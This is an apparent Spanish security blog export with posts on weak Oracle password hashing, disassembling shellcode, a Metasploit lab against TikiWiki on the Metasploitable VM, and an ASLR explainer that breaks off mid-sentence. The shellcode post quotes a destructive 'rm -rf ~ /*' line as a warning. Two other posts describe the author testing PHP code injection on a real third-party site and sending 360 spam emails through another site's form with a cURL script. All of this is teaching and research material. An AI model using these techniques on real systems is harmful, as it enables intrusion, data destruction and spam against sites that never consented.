style="font-family:monospace;font-size:130%;"><span class="Apple-style-span" style="font-size:16px;"><span class="Apple-style-span" style="font-family:Georgia, serif;"><br /></span></span></span><blockquote><code>SQL> <b>CREATE</b> user prueba identified by password;<br />User created.<br /><br />SQL> <b>CREATE</b> user prueb identified by apassword;<br />User created.<br /><br />SQL> <b>SELECT</b> username, password <b>FROM</b> dba_users <b>WHERE</b> username <b>LIKE</b> ’PRUEB\ %’;<br /><br /><b>USERNAME</b>: PRUEBA<br /><b>PASSWORD</b>: BBFF158371D315FC<br /><br /><b>USERNAME</b>: PRUEB<br /><b>PASSWORD</b>: BBFF158371D315FC<br /></code><br /></blockquote>Revisando el resultado de nuestra consulta, cualquier atacante podría tener fuertes evidencias de la relación existente entre ambas contraseñas de usuario.<br /><br />Además los valores generados para los salt no son aleatorios. Si bien es cierto que permite reducir la eficacia de un ataque de diccionario contra el hash de alguna contraseña larga. Pero eso no evita que un atacante pueda usar una tabla de posibles contraseñas para un usuario común (<i>por ejemplo SYSTEM</i>) y vaya probando en diferentes sistemas hasta dar con los resultados esperados.<br /><br /><h1>Pobre juego de caracteres permitidos</h1>Otro de los puntos débiles de Oracle es el pequeño abanico de caracteres que utiliza para obtener el hash de una contraseña.<br /><br />Antes de que este sea obtenido, los caracteres de la contraseña son transformados a mayúsculas, independientemente de cómo hayan sido introducidos estos por el usuario.<br /><br />Este comportamiento puede observarse para una misma contraseña introducida de diversas formas en el sistema y comprobar los valores de sus respectivos hashes.<br /><span class="Apple-style-span" style="font-family:monospace;font-size:130%;"><span class="Apple-style-span" style="font-size:16px;"><span class="Apple-style-span" style="font-family:Georgia, serif;"><br /></span></span></span><blockquote><code>SQL> <b>ALTER</b> user prueba identified by "PasswoRd";<br />User altered.<br /><br />SQL> <b>SELECT</b> username, password <b>FROM</b> dba_users <b>WHERE</b> username <b>LIKE</b> ’PRUEBA’;<br /><br /><b>USERNAME</b>: PRUEBA<br /><b>PASSWORD</b>: BBFF158371D315FC<br /><br />SQL> <b>ALTER</b> user prueba identified by "password";<br />User altered.<br /><br />SQL> <b>SELECT</b> username, password <b>FROM</b> dba_users <b>WHERE</b> username <b>LIKE</b> ’PRUEBA’;<br /><br /><b>USERNAME</b>: PRUEBA<br /><b>PASSWORD</b>: BBFF158371D315FC<br /><br />SQL> <b>ALTER</b> user prueba identified by "PASSWORD";<br />User altered.<br /><br />SQL> <b>SELECT</b> username, password <b>FROM</b> dba_users <b>WHERE</b> username <b>LIKE</b> ’PRUEBA’;<br /><br /><b>USERNAME</b>: PRUEBA<br /><b>PASSWORD</b>: BBFF158371D315FC<br /><span class="Apple-style-span" style="font-family:Georgia, serif;font-size:6;"><span class="Apple-style-span" style="font-size:19px;"><span class="Apple-style-span" style="font-size:6;"><span class="Apple-style-span" style="font-size:19px;"><br /></span></span></span></span></code></blockquote>Observando la salida devuelta por nuestras consultas comprobamos que el hash permanece constante ante las modificaciones realizadas a la contraseña. Esto supone una reducción de la entropía de nuestas claves (<i>por ejemplo,<br />si usamos caracteres alfanuméricos, obtendremos un mecanismo que permite 36^n posibles combinaciones de longitud n, en lugar de 62^n , que serían las deseadas</i>).<br /><br />Otro problema es la <b>falsa sensación de seguridad</b> que puede generar para una organización que ponga ciertas restricciones a la hora de generar sus claves, como la combinación de minúsculas y mayúsculas.<br /><br /><h1>Algoritmo de hashing bastante débil</h1>El algoritmo utilizado para calcular los hashes no ha sido abiertamente documentado por Oracle, pero en 1993 apareció en el newsgroup de comp.database.oracle un mensaje donde se describía el algoritmo en detalle, reconociendo el uso de un <b>magic number</b> como parámetro de entrada.<br /><br />El proceso es el siguiente:<br /><br /><ol><li>Concatena el nombre de usuario y la contraseña para producir una nueva cadena en texto plano.<br /><br /></li><li>Se convierte la cadena anterior en mayúsculas.<br /><br /></li><li>Se contierte la cadena en texto plano al formato multi-byte, teniendo los caracteres ASCII el octeto superior establecido a 0x00.<br /><br /></li><li>Se cifra la cadena en texto plano (<i>completando con 0 en caso de ser necesario</i>) usando el algoritmo DES en modo CBC con el <b>magic number 0x0123456789ABCDEF</b>.<br /><br /></li><li>Nuevamente se vuelve a encriptar la cadena en texto plano con <b>DES-CBC</b>, pero utilizando esta vez como magic number el último bloque de la salida devuelta por el paso anterior (<i>ignorando los bits de paridad</i>). Dicho bloque es convertido a cadena para poder producir con ella el hash de la contraseña.</li></ol><br /><br /><b>En la siguiente entrega</b> se explicará cómo es posible obtener una copia de todos los usuarios con sus respectivos hashes para poder sacar las contraseñas en texto plano.Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-9196352698689162458.post-37029472265676805362010-08-07T08:43:00.000-07:002010-08-07T13:11:15.610-07:00Desensamblar una ShellcodeLeyendo <a href="http://blogs.securiteam.com/index.php/archives/1302">esta entrada</a> publicada por los de Securiteam me ha hecho recordar la cantidad de cabroncetes que hay sueltos por ahí y la manía que tienen por incluir instrucciones como <b>rm -rf ~ /* 2> /dev/null &</b> en la shellcode utilizada para explotar una vulnerabilidad y de paso inutilizarte el equipo.<br /><br />En el caso que comenta xyberpix, al ejecutar el exploit, junto a este se lanzaba de paso un borrado contra el directorio home del usuario para pasar luego al directorio raíz, y mandar cualquier error de la salida al directorio /dev/null, de forma que el proceso fuese transparente al usuario.<br /><br />Todo esto me hace recordar que nunca es bueno fiarse de los exploits que encontramos por la red, y que siempre viene bien saber qué hace exactamente la shellcode que queremos lanzar, así que como más vale prevenir que curar, he hecho un pequeño script en perl para que desensamble una shellcode y nos muestre los opcodes y se puedan leer con un poco más de facilidad.<br /><br />En un nuevo fichero escribimos:<br /><br /><blockquote><br /><code><br />#!/usr/bin/perl -w<br /><br />$shellcode = "AQUÍ VA NUESTRA SHELLCODE"; <br /><br />open(FILE, ">shellcode.bin"); <br />print FILE "$shellcode"; <br />close(FILE);<br /></code><br /></blockquote><br /><br />Lo ejecutamos con:<br /><br /><blockquote><br /><code><br />sebas@Penetraitor:~/roote/lab-sec$ perl proof.pl <br /></code><br /></blockquote><br /><br />Y por último hacemos que nos muestre el resultado por pantalla:<br /><br /><blockquote><br /><code><br />sebas@Penetraitor:~/roote/lab-sec$ ndisasm -b 32 shellcode.bin <br /><br />00000000 2321 and esp,[ecx]<br />00000002 2F das<br />00000003 7573 jnz 0x78<br />00000005 722F jc 0x36<br />00000007 62696E bound ebp,[ecx+0x6e]<br />0000000A 2F das<br />0000000B 7065 jo 0x72<br />0000000D 726C jc 0x7b<br /><br />[...]<br /></code><br /></blockquote><br /><br />También existen otras alternativas como <a href="http://pyms86.appspot.com/">Pym's</a>, que nos permite desensamblar una shell de forma online.Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-9196352698689162458.post-22781627815713941682010-07-09T13:19:00.000-07:002010-07-09T16:00:41.879-07:00Laboratorio Metasploit: Explotando Tikiwiki (I de III)Laboratorio Metasploit: Explotando Tikiwiki (I de III)
<br />Laboratorio Metasploit: Explotando Tikiwiki (II de III)
<br />Laboratorio Metasploit: Explotando Tikiwiki (III de III)
<br />
<br /><h3>Introducción</h3>
<br />
<br />Diseñada por HD. Moore. Metasploit es un entorno pensado para realizar pentesting en sistemas vulnerables, ya sea a través de la consola, o su interfaz gráfica.
<br />
<br />A esto hay que añadirle la máquina virtual Metasploitable, basada en Ubuntu 8.04, que contiene fallos de seguridad en determinados servicios, permitiendonos poner en práctica nuestros conocimientos de intrusión y explotación.
<br />
<br />El objetivo de esta serie de entradas es guiar al usuario en la detección y explotación de una pequeña vulnerabilidad en Tikiwiki.
<br />
<br /><h3>Herramientas necesarias</h3>
<br />
<br />A lo largo de las entradas vamos a utilizar las siguientes herramientas:
<br />
<br /><ul>
<br /><li><a href="http://www.metasploit.com/releases/framework-3.4.0-linux-i686.run">Metasploit framework-3.4.0-linux-i686.run</a></li>
<br /><li><a href="http://www.metasploit.com/documents/express/Metasploitable.zip.torrent">Metasploitable Torrent</a></li>
<br /><li><a href="http://www.blogger.com/%3Ehttp://www.vmware.com/products/player">VMWare Player</a> - <i>Aplicación para ejecutar máquinas virtuales.</i></li>
<br /><li><a href="http://www.blogger.com/%3Ehttp://sourceforge.net/projects/dirbuster/">DirBuster</a> - <i>Permite realizar ataques de fuerza bruta para sacar los directorios y ficheros de una aplicación web.</i></li>
<br /><li><a href="http://pentestmonkey.net/tools/php-reverse-shell/">PHP Reverse Shell v1.0</a> - <i>Shell desarrollada por Pentest Monkey.</i></li>
<br />
<br /><h3>Comenzando el ataque</h3>
<br />
<br />Para evitar desarrollar una entrada demasiado densa, trataremos de condensar en esta primera parte la aplicación del exploit Tikidblib, que permite a un usuario anónimo hacer un dump del MySQL user/pass generando un mysql error utilizando la variable "<b>sort_mode</b>"
<br />
<br />El escenario de ataque que se planteará durante las entradas será un equipo atacante con Ubuntu 10.04 bajo la dirección: 192.168.10.39 y un equipo victima bajo Metasploitable(Ubuntu 8.04) que se ejecutará en una máquina virtual con la dirección: 192.168.10.42.
<br />
<br />En primer lugar ejecutaremos la aplicación DirBuster para que nos detecte que servicio web estamos ejecutando:
<br />
<br /><img src="http://1.bp.blogspot.com/_BcfTeHrlYdY/TDeRR7Gw28I/AAAAAAAAAEc/31vGjJsQ_us/s320/imagen.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5492018007711472578" style="display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; text-align: center; cursor: pointer; width: 320px; height: 227px; " />
<br />
<br />Buscamos en metasploit las vulnerabilidades que tenemos disponibles para TikiWiki:
<br />
<br /><img src="http://3.bp.blogspot.com/_BcfTeHrlYdY/TDeSyHzhTXI/AAAAAAAAAE0/PDwIC1IM_B0/s320/imagen02.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5492019660387863922" style="display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; text-align: center; cursor: pointer; width: 320px; height: 122px; " /></div><div>
<br /></div><div>Y ejecutamos/configuramos <b>auxiliary/tikiwiki/tikidblib</b>:</div><div>
<br /></div><div><span class="Apple-style-span" style="color: rgb(0, 0, 238); -webkit-text-decorations-in-effect: underline; "><img src="http://1.bp.blogspot.com/_BcfTeHrlYdY/TDeTk15EQwI/AAAAAAAAAE8/9ktL1r7y-4o/s320/imagen3.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5492020531752616706" style="display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; text-align: center; cursor: pointer; width: 320px; height: 103px; " /></span></div><div><span class="Apple-style-span" style="color:#0000EE;">
<br /></span></div><div>Lanzamos el exploit y abrimos la página para ejecutar el bug que nos devuelve el MySQL user/pass. La vulnerabilidad la cogeremos de <a href="http://www.exploit-db.com/exploits/2701/">exploit-db</a></div><div>
<br /></div><div><span class="Apple-style-span" style="color: rgb(0, 0, 238); -webkit-text-decorations-in-effect: underline; "><img src="http://1.bp.blogspot.com/_BcfTeHrlYdY/TDeY-eAuKcI/AAAAAAAAAFE/iCjbKrOzzVA/s320/imagen04.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5492026469577009602" style="display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; text-align: center; cursor: pointer; width: 320px; height: 78px; " /></span></div><div><span class="Apple-style-span" style="color: rgb(0, 0, 238); -webkit-text-decorations-in-effect: underline; ">
<br /></span></div><div>Usaremos el string: <b>/tiki-listpages.php?offset=0&sort_mode= </b>:</div><div>
<br /></div><div><img src="http://3.bp.blogspot.com/_BcfTeHrlYdY/TDeau_7q5TI/AAAAAAAAAFM/VlM00daosSU/s320/imagen05.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5492028402827978034" style="display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; text-align: center; cursor: pointer; width: 320px; height: 18px; " /></div><div>
<br /></div><div><b></b>Obteniendo que el usuario y pass de la base de datos <b>tikiwiki195</b> es <b>root/root</b></div><div><b>
<br /></b></div><div><b><span class="Apple-style-span" style="font-weight: normal; color: rgb(0, 0, 238); -webkit-text-decorations-in-effect: underline; "><img src="http://4.bp.blogspot.com/_BcfTeHrlYdY/TDedURr5ljI/AAAAAAAAAFU/uy5lROmsh8k/s320/imagen06.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5492031242272085554" style="display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; text-align: center; cursor: pointer; width: 231px; height: 124px; " /></span></b></div><div><b><span class="Apple-style-span" style="font-weight: normal; color: rgb(0, 0, 238); -webkit-text-decorations-in-effect: underline; ">
<br /></span></b></div><div><span class="Apple-style-span" style="-webkit-text-decorations-in-effect: underline; ">Ahora podemos establecer conexión con la base de datos MySQL y hacer un dump de toda ella:</span></div><div><span class="Apple-style-span" style="-webkit-text-decorations-in-effect: underline; ">
<br /></span></div><div><span class="Apple-style-span" style="-webkit-text-decorations-in-effect: underline; "><a href="http://4.bp.blogspot.com/_BcfTeHrlYdY/TDekpmVk8jI/AAAAAAAAAFc/PntU0ISCXy0/s1600/imagen7.png"><img src="http://4.bp.blogspot.com/_BcfTeHrlYdY/TDekpmVk8jI/AAAAAAAAAFc/PntU0ISCXy0/s320/imagen7.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5492039305174250034" style="display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; text-align: center; cursor: pointer; width: 320px; height: 83px; " /></a>Escogemos la base de datos <b>tikiwiki195</b> y realizamos una consulta sobre la tabla <b>users_users</b> para que nos vuelque los datos que nos interesen de los usuarios:</span></div><div><span class="Apple-style-span" style="-webkit-text-decorations-in-effect: underline; ">
<br /></span></div><div><span class="Apple-style-span" style="-webkit-text-decorations-in-effect: underline; ">
<br /></span></div><div><span class="Apple-style-span" style="-webkit-text-decorations-in-effect: underline; "><span class="Apple-style-span" style="color: rgb(0, 0, 238); -webkit-text-decorations-in-effect: underline; "><img src="http://3.bp.blogspot.com/_BcfTeHrlYdY/TDemQAZdq1I/AAAAAAAAAFk/03ZA22_P8Dk/s320/imagen8.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5492041064516528978" style="display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; text-align: center; cursor: pointer; width: 320px; height: 158px; " /></span></span></div><div><span class="Apple-style-span" style="-webkit-text-decorations-in-effect: underline; "><span class="Apple-style-span" style="color: rgb(0, 0, 238); -webkit-text-decorations-in-effect: underline; ">
<br /></span></span></div><div><span class="Apple-style-span" style="-webkit-text-decorations-in-effect: underline; "><span class="Apple-style-span" style="color: rgb(0, 0, 238); -webkit-text-decorations-in-effect: underline; "><span class="Apple-style-span" style="-webkit-text-decorations-in-effect: underline; "><img src="http://1.bp.blogspot.com/_BcfTeHrlYdY/TDennhE19XI/AAAAAAAAAFs/gc2JMmKihoM/s320/imagen9.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5492042567937029490" style="display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; text-align: center; cursor: pointer; width: 320px; height: 269px; " /></span></span></span></div><div><span class="Apple-style-span" style="-webkit-text-decorations-in-effect: underline; "><span class="Apple-style-span" style="color: rgb(0, 0, 238); -webkit-text-decorations-in-effect: underline; "><span class="Apple-style-span" style="-webkit-text-decorations-in-effect: underline; ">
<br /></span></span></span></div><div><span class="Apple-style-span" style="-webkit-text-decorations-in-effect: underline; "><span class="Apple-style-span" style="-webkit-text-decorations-in-effect: underline; "><span class="Apple-style-span" style="-webkit-text-decorations-in-effect: underline; ">Llegados al punto de obtener el usuario y clave del administrador de Tikiwiki, el siguiente paso será cargar una shell en PHP que nos permita establecer una sesión remota con la máquina de la víctima.</span></span></span></div><div><span class="Apple-style-span" style="-webkit-text-decorations-in-effect: underline; "><span class="Apple-style-span" style="-webkit-text-decorations-in-effect: underline; "><span class="Apple-style-span" style="-webkit-text-decorations-in-effect: underline; ">
<br /></span></span></span></div><div><span class="Apple-style-span" style="-webkit-text-decorations-in-effect: underline; "><span class="Apple-style-span" style="-webkit-text-decorations-in-effect: underline; "><span class="Apple-style-span" style="-webkit-text-decorations-in-effect: underline; ">Pero esa parte será tratada en la segunda entrega de este laboratorio.</span></span></span></div><meta equiv="content-type" content="text/html; charset=utf-8"><meta equiv="content-type" content="text/html; charset=utf-8"><meta equiv="content-type" content="text/html; charset=utf-8">Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-9196352698689162458.post-31190311209145129662010-04-20T18:00:00.000-07:002010-04-22T06:55:16.992-07:00Sobre cómo no hacer las cosasCuando se descube un fallo en algún sitio, y normalmente ha sido por un error en la programación, si tiras de ese fino hilo poco a poco acabarás por descubrir más fallos.<br /><br />Algo similar es lo que ha ocurrido con la página que comentaba líneas más abajo, donde el servicio que ofrecían para recomendar la página a nuestros contactos, podía ser utilizado para realizar un poco de spam.<br /><br />Mientras navegaba por ella observe que la dirección url se presentaba de la siguiente forma:<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_BcfTeHrlYdY/S9BUQgzILII/AAAAAAAAAD8/sOYe-f6VN8E/s1600/e03.jpg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 26px;" src="http://1.bp.blogspot.com/_BcfTeHrlYdY/S9BUQgzILII/AAAAAAAAAD8/sOYe-f6VN8E/s320/e03.jpg" alt="" id="BLOGGER_PHOTO_ID_5462958990659431554" border="0" /></a><br /><code>http://xxxx/yyyy/zzzz.php?$sesion_idioma=1&$menu=1&identifica=participa&nombrexml=104</code><br /><br />Ahí había algo que no me cuadraba... eso de $sesion_idioma, $menu, me hace pensar que de alguna forma las variables del código no están siendo filtradas y que las muestra directamente en la barra de direcciones, y probablemente el valor que estas tomen se verá reflejado de alguna forma en el código fuente de la página y con ello el valor que le demos.<br /><br />Una prueba nos sacará de dudas:<br /><br /><br /><code>http://xxxx/yyyy/zzzz.php?$sesion_idioma='&$menu=1&identifica=participa&nombrexml=104</code><br /><br />Mirando el contenido de la página notamos que ha cambiado, eso me indica que en cierta manera, lo que pase a los parámetros de la url se verá reflejado en el contenido de esta. Pero vamos hacer otra prueba más, y comprobemos si en el código hay alguna parte donde se haga referencia a esto.<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_BcfTeHrlYdY/S85R-t3zw4I/AAAAAAAAADk/K1FEi113-5Y/s1600/e05.jpg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 26px;" src="http://2.bp.blogspot.com/_BcfTeHrlYdY/S85R-t3zw4I/AAAAAAAAADk/K1FEi113-5Y/s320/e05.jpg" alt="" id="BLOGGER_PHOTO_ID_5462393535954404226" border="0" /></a><br /><br />Vamos que estábamos en lo cierto y cualquier cosa que coloquemos en las variables se reflejará en el código fuente. Intentemos ejecutar directamente código PHP en cualquiera de las variables, si todo funciona y teníamos razón conseguiremos que en aquellos lugares del código fuente donde se reflejen los valores pasados a las variables se sustituya por el resultado devuelto de la ejecución de nuestra instrucción.<br /><br />Vamos a probar con lo siguiente:<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_BcfTeHrlYdY/S85T8rwQWXI/AAAAAAAAADs/Isjox-2fmHs/s1600/05.jpg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 14px;" src="http://3.bp.blogspot.com/_BcfTeHrlYdY/S85T8rwQWXI/AAAAAAAAADs/Isjox-2fmHs/s320/05.jpg" alt="" id="BLOGGER_PHOTO_ID_5462395700049369458" border="0" /></a><br /><br />Simplemente vamos a tratar de realizar una inyección de código, que una vez interpretada por el servidor nos devolverá lo siguiente:<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_BcfTeHrlYdY/S9BU_h1oKmI/AAAAAAAAAEE/rRF6Iuze9hY/s1600/e06.jpg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 200px;" src="http://1.bp.blogspot.com/_BcfTeHrlYdY/S9BU_h1oKmI/AAAAAAAAAEE/rRF6Iuze9hY/s320/e06.jpg" alt="" id="BLOGGER_PHOTO_ID_5462959798392203874" border="0" /></a><br />Parece que alguien no ha hecho la tarea bien en más de una ocasión.Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-9196352698689162458.post-47468245792508341442010-04-20T16:26:00.000-07:002010-04-22T06:56:47.537-07:00El problema de los formularios con cURLA veces pensamos que las restricciones que se imponen en algunos portales para poder comentar una noticia o simplemente rellenar los campos de un formulario son una tontería, pero si están ahí es por algo. Ya sea un captcha, autentificación, token o cualquier método que se os pueda ocurrir.<br /><br />El caso es que si no haces tus deberes como es debido y planteas un mecanismo patatero, te puede costar caro. Y eso es con lo que me he encontrado hace un rato mientras visitaba cierta página web.<br /><br />Tenemos como escenario un servicio para recomendar la citada web a nuestros contactos mediante un simple formulario con el que enviamos un correo.<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_BcfTeHrlYdY/S85FPX_OiSI/AAAAAAAAAC8/h-PKo5yT9Cw/s1600/captura1.jpg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 175px;" src="http://4.bp.blogspot.com/_BcfTeHrlYdY/S85FPX_OiSI/AAAAAAAAAC8/h-PKo5yT9Cw/s320/captura1.jpg" alt="" id="BLOGGER_PHOTO_ID_5462379528486553890" border="0" /></a><br /><br />Lo primero que se me ha ocurrido ha sido rellenar los datos con valores falsos y poner una cuenta de correo válida para el remitente. El resultado ha sido el esperado y he recibido en mi bandeja de entrada un correo.<br /><br />Lo siguiente que he pensado ha sido realizar un pequeño script en php que mediante cURL recibiera los parámetros del formulario, los rellenara con los valores que quisiera y con un bucle indicara el número de mensajes que quería hacer llegar a la víctima. El resultado, ha sido el esperado:<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_BcfTeHrlYdY/S85INMEDr5I/AAAAAAAAADE/UHtdht4G7ms/s1600/captura2.jpg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 18px;" src="http://4.bp.blogspot.com/_BcfTeHrlYdY/S85INMEDr5I/AAAAAAAAADE/UHtdht4G7ms/s320/captura2.jpg" alt="" id="BLOGGER_PHOTO_ID_5462382789460733842" border="0" /></a><br /><br />Sí, son 360 mensajes en un intervalo de 20 segundos a la cuenta de correo del remitente, ¿alguien necesita viagra?<br /><br />El script, bastante sencillo no ha ocupado más de 15 líneas [<a href="http://pastebin.com/MtMgQVC4">script</a>]. El resto ha sido ejecutar el código en el servidor de pruebas y esperar al resultado:<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_BcfTeHrlYdY/S85MTIPsyFI/AAAAAAAAADM/FMJ-1jJ8tWw/s1600/prueba02.jpg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 162px;" src="http://1.bp.blogspot.com/_BcfTeHrlYdY/S85MTIPsyFI/AAAAAAAAADM/FMJ-1jJ8tWw/s320/prueba02.jpg" alt="" id="BLOGGER_PHOTO_ID_5462387289561548882" border="0" /></a><br /><center><span style="font-style: italic;">Denada, todo un placer.</span></center><br /><br />He borrado algunas partes del mismo por razones obvias, no obstante si alguno está interesado en ver cómo funciona cURL puede visitar las <a href="http://php.net/manual/en/book.curl.php">páginas de PHP</a>.Unknownnoreply@blogger.com1tag:blogger.com,1999:blog-9196352698689162458.post-44721559919745726162010-04-19T14:35:00.000-07:002010-04-20T08:10:42.034-07:00Adress space layout randomization<h2>Introducción</h2><br />Más conocida como ASLR, es una técnica de seguridad que se viene encargando de la aleatorización de direcciones de memoria. De forma que no podamos predecir cuál será la dirección de retorno de un determinado buffer o de cualquier otra dirección que se encuentre en la pila.<br /><br />Esto complica la tarea de cualquier atacante que intente ejecutar un ataque de <a href="http://en.wikipedia.org/wiki/Return-to-libc_attack">return-to-libc</a> que tendrá que buscar el código a ejecutar, o aquellos que traten de ejecutar una <a href="http://en.wikipedia.org/wiki/Shellcode">shellcode</a>, deberán primero averiguar dónde se encuentra la pila.<br /><br /><h2>¿Cómo funciona?</h2><br />Para demostrar el funcionamiento vamos a utilizar el <a href="http://pastebin.com/AjJJwwqg">siguiente código</a>.Que compilaremos utilizando la opción <b>-ggdb</b>:<br /><br /><code>$ gcc -ggdb -o Prueba Prueba.c<br /><br />/tmp/ccCPLK8V.o: In function `main':<br />/home/sebas/Lab/Ensamblador/Prueba.c:19: warning: the `gets' function is dangerous and should not be used.<br /></code><span style="font-weight: bold;"></span><br /><br />El mensaje de aviso, es para indicarnos que la función gets es peligrosa y no debería ser utilizada, esto es debido a que no estamos controlando en ningún momento la longitud que vamos a introducirle y podríamos provocar un buffer overflow.<br /><br />Si ejecutamos la aplicación y hacemos un grep por el nombre de esta para que nos muestre información del proceso, obtenemos la siguiente información:<br /><br /><code>$ ps -aux | grep Prueba<br />Warning: bad ps syntax, perhaps a bogus '-'? See http://procps.sf.net/faq.html<br />sebas <b>11777</b> 0.0 0.0 1656 328 pts/0 S+ 00:32 0:00 ./Prueba 10 40<br />sebas 11783 0.0 0.0 3352 812 pts/1 S+ 00:32 0:00 grep Prueba</code><br /><br />El PID es el 11777, ahora podemos buscarlo en la carpeta /proc y mostrar por pantalla cómo está organizada la memoria para permitir la ejecución de la aplicación:<br /><br /><code>$ cat /proc/11777/maps<br />08048000-08049000 r-xp 00000000 08:09 850507 /home/sebas/Lab/Ensamblador/Prueba<br />08049000-0804a000 r-xp 00000000 08:09 850507 /home/sebas/Lab/Ensamblador/Prueba<br />0804a000-0804b000 rwxp 00001000 08:09 850507 /home/sebas/Lab/Ensamblador/Prueba<br />b75ac000-b75ad000 rwxp b75ac000 00:00 0<br />b75ad000-b7709000 r-xp 00000000 08:09 82774 /lib/tls/i686/cmov/libc-2.9.so<br />b7709000-b770a000 ---p 0015c000 08:09 82774 /lib/tls/i686/cmov/libc-2.9.so<br />b770a000-b770c000 r-xp 0015c000 08:09 82774 /lib/tls/i686/cmov/libc-2.9.so<br />b770c000-b770d000 rwxp 0015e000 08:09 82774 /lib/tls/i686/cmov/libc-2.9.so<br />b770d000-b7710000 rwxp b770d000 00:00 0<br />b7722000-b7725000 rwxp b7722000 00:00 0<br />b7725000-b7726000 r-xp b7725000 00:00 0 [vdso]<br />b7726000-b7742000 r-xp 00000000 08:09 65422 /lib/ld-2.9.so<br />b7742000-b7743000 r-xp 0001b000 08:09 65422 /lib/ld-2.9.so<br />b7743000-b7744000 rwxp 0001c000 08:09 65422 /lib/ld-2.9.so<br /><b>bfaad000-bfac2000</b> rw-p <b>bffeb000</b> 00:00 0 [stack]<br /></code><br /><br />El segmento de direcciones donde se encuentra nuestra pila es <b>bfaad000-bfac2000</b> y el offset es <b>bffeb000</b>. Si probamos ahora a repetir el mismo proceso (ejecutando la aplicación y averiguando su respectivo PID) obtenemos el siguiente resultado.<br /><br /><code>$ cat /proc/13372/maps<br />08048000-08049000 r-xp 00000000 08:09 850507 /home/sebas/Lab/Ensamblador/Prueba<br />08049000-0804a000 r--p 00000000 08:09 850507 /home/sebas/Lab/Ensamblador/Prueba<br />0804a000-0804b000 rw-p 00001000 08:09 850507 /home/sebas/Lab/Ensamblador/Prueba<br />b7668000-b7669000 rw-p b7668000 00:00 0<br />b7669000-b77c5000 r-xp 00000000 08:09 82774 /lib/tls/i686/cmov/libc-2.9.so<br />b77c5000-b77c6000 ---p 0015c000 08:09 82774 /lib/tls/i686/cmov/libc-2.9.so<br />b77c6000-b77c8000 r--p 0015c000 08:09 82774 /lib/tls/i686/cmov/libc-2.9.so<br />b77c8000-b77c9000 rw-p 0015e000 08:09 82774 /lib/tls/i686/cmov/libc-2.9.so<br />b77c9000-b77cc000 rw-p b77c9000 00:00 0<br />b77de000-b77e1000 rw-p b77de000 00:00 0<br />b77e1000-b77e2000 r-xp b77e1000 00:00 0 [vdso]<br />b77e2000-b77fe000 r-xp 00000000 08:09 65422 /lib/ld-2.9.so<br />b77fe000-b77ff000 r--p 0001b000 08:09 65422 /lib/ld-2.9.so<br />b77ff000-b7800000 rw-p 0001c000 08:09 65422 /lib/ld-2.9.so<br /><b>bfeed000-bff02000</b> rw-p <b>bffeb000</b> 00:00 0 [stack]<br /></code><br /><br />El segmento donde se encuentra nuestra pila ha cambiado, teniendo ahora el valor de <b>bfeed000-bff02000</b>, lo que se mantiene igual es el valor del offset a <b>bffeb000</b>.<br /><br />Este hecho viene provocado por la variable del sistema <b>randomize-va-space</b>, que nos permite especificar al sistema el tipo de aleatorización a utilizar, donde:<br /><br /><ul><li><b>value 0</b> - Desactiva la aleatorización del espacio de direcciones ocupado por el proceso. Se establece por defecto en aquellos sistemas que no soportan esta característica o son iniciados con el parámetro <b>norandmaps</b></li><br /><li><b>value 1</b> - Asigna direcciones de memorias aleatorias a mmap base, stack y VDSO page. Entre otras cosas las librerías compartidas son cargadas en direcciones al azar, incluyendo también los binarios de PIE-enlazados y el inicio de ejecución de la aplicación. Se establece por defecto si la opción <b>CONFIG_COMPAT_BRK</b> está activada.</li><br /><li><b>value 2</b> - Adicionalmente habilita la aleatorización del montículo (<a href="http://en.wikipedia.org/wiki/Dynamic_memory_allocation">heap</a>). Se establece por defecto si la opción <b>CONFIG_COMPAT_BRK</b> está desactivada.</li><br /></ul><br /><br />Para ver el valor que tenemos asignado basta con: <code> cat /proc/sys/kernel/randomize_va_space </code> y si quieres cambiarla: <code>echo valor_numerico > /proc/sys/kernel/randomize_va_space</code><br /><br />Quizás sea oportuno comentar que existen varias formas de saltarse este tipo de protección a día de 